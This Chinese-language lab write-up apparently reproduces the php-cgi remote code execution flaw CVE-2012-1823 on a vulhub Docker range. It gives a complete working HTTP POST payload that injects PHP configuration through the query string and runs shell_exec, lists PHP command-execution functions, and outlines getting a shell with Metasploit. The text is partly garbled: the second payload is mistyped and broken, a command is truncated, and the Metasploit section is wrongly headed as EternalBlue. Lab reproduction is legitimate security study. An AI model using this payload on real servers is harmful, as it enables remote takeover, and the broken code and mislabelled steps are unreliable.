一 :准备
提示:搭建靶场和docke环境,看另一篇vulhub靶场搭建
二:漏洞复现
1.开启靶场
注:CGI远程代码执行漏洞的编号为CVE-2012-1823
我们打开漏洞所处文件夹,开始运行靶场
docker-compose up -d
docker p
在浏览器中输入ip:8080访问靶场
2.漏洞利用
* -c 指定php.ini文件的位置
* -n 不要加载php.ini文件
* -d 指定配置项
* -b 启动fastcgi进程
* -s 显示文件源码
* -T 执行指定次该文件
* -h和-? 显示帮助
最简单的利用方式,当然就是-s,可以直接显示源码:
3.BP抓包构造pyload
修改请求方式为POST
构造pyload
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
在最后一行写入了
<php? echo shell_exce("ls"):?>
补充:php执行系统命令的4个方法
system()
exec 执行一个外部程序
shell_exec 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
passthru 执行外部程序并且显示原始输出
演示
4.永恒之蓝渗透
打开kali,输入
msfconsole
找到phpcgi漏洞的框架
search php cgi
第八个,直接使用,并查看参数
设置host和port后开始攻击
拿到了shell,因为是一个靶场,命令不全面
总结
提示:这里对文章进行总结:
CVE-2012-1823就是php-cgi这个sapi出现的漏洞,本漏洞只出现在以cgi模式运行的php中。